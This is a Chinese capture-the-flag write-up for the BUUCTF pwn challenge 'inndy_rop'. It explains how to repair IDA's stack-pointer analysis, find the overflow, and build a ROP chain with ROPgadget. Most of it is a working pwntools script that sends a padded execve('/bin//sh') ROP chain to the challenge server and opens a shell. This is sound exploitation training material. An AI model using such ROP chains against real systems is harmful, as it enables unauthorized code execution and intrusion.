[BUUCTF]PWN——inndy_rop

inndy_rop

附件

步骤：

1. 例行检查，32位，开启了nx保护
   
2. 本地调试运行没看出个啥，直接上ida，一开始f5会报错，
   
3. 找到报错提示的位置，点击option–>general调出如图的界面，勾选上stack pointar
   
   
4. 看到堆栈不平衡，选中报错地址的上一行，右击，点击“change stack"跳出如图界面，在sp值前加个”–“即可
   
5. 然后就能f5反编译了，main里就一个overflow函数，存在溢出漏洞
   
6. 右边的函数列表里只有静态编译的结果，所以这题没法去泄露libc什么的
   这边直接利用了工具ROPgadget，它有一个功能，可以直接利用程序中的片段拼凑rop链。

ROPgadget --binary rop --ropchain

可以看到直接给我们找到了一个应该是写好了的利用exp，只要我们手动加个偏移造成溢出即可

from pwn import*
from struct import pack

r=remote('node3.buuoj.cn',26917)

def payload():
        p='a'*(0xc+4)
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080b8016) # pop eax ; ret
	p += '/bin'
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea064) # @ .data + 4
	p += pack('<I', 0x080b8016) # pop eax ; ret
	p += '//sh'
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x080492d3) # xor eax, eax ; ret
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481c9) # pop ebx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080de769) # pop ecx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x080492d3) # xor eax, eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0806c943) # int 0x80
        return p

shell = payload()
r.sendline(shell)
r.interactive()